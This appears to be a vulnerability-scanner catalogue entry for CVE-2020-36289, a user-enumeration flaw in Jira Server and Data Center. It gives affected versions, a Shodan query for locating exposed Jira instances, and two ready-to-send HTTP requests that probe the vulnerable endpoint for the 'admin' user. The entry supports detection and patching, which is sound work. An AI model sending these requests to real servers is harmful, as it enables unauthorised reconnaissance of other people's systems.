| Title | Jira Server and Data Center - Information Disclosure |
|---|---|
| Author | dhiyaneshDk |
| Severity | Medium |
| Impact | An attacker can gain access to sensitive information, potentially leading to further attacks. |
| Remediation | Apply the necessary patches or updates provided by Atlassian to fix the vulnerability. |
| CVSS Score | 5.3 |
| EPSS Score | 0.90008 |
| CVE ID | CVE-2020-36289 |
| CWE ID | CWE-863 |
| Shodan Query | http.component:"Atlassian Jira"http.component:"atlassian jira" |
| Tags | cve cve2020 jira atlassian unauth vuln |
Jira Server and Data Center is susceptible to information disclosure. An attacker can enumerate users via the QueryComponentRendererValue!Default.jspa endpoint and thus potentially access sensitive information, modify data, and/or execute unauthorized operations, Affected versions are before version 8.5.13, from version 8.6.0 before 8.13.5, and from version 8.14.0 before 8.15.1.
GET /secure/QueryComponentRendererValue!Default.jspa?assignee=user:admin HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /jira/secure/QueryComponentRendererValue!Default.jspa?assignee=user:admin HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-36289.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-36289.pcap
N/AN/A